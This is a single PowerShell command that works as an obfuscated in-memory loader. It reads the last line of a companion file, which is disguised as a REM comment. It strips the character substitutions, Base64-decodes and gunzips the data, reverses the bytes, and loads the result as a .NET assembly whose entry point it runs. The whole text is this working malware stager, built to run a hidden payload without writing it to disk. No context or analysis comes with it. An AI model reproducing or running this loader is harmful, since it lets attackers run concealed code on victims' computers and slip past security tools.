$currentProcess = [System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName.Replace('.exe',''); $layer1name = get-content $currentProcess | Select-Object -Last 1; $payload = [System.Convert]::FromBase64String($layer1name.Replace('REM ', '').Replace('@', 'A')); $payloadMemorystream = New-Object System.IO.MemoryStream( , $payload ); $newStream = New-Object System.IO.MemoryStream; $gzipStream = New-Object System.IO.Compression.GzipStream $payloadMemorystream, ([IO.Compression.CompressionMode]::Decompress); $gzipStream.CopyTo( $newStream ); $gzipStream.Close(); $payloadMemorystream.Close(); [byte[]] $payload = $newStream.ToArray(); [Array]::Reverse($payload); $loadPayload = [System.AppDomain]::CurrentDomain.Load($payload); $entryPoint = $loadPayload.EntryPoint; [System.Delegate]::CreateDelegate([Action], $entryPoint.DeclaringType, $entryPoint.Name).DynamicInvoke() | Out-Null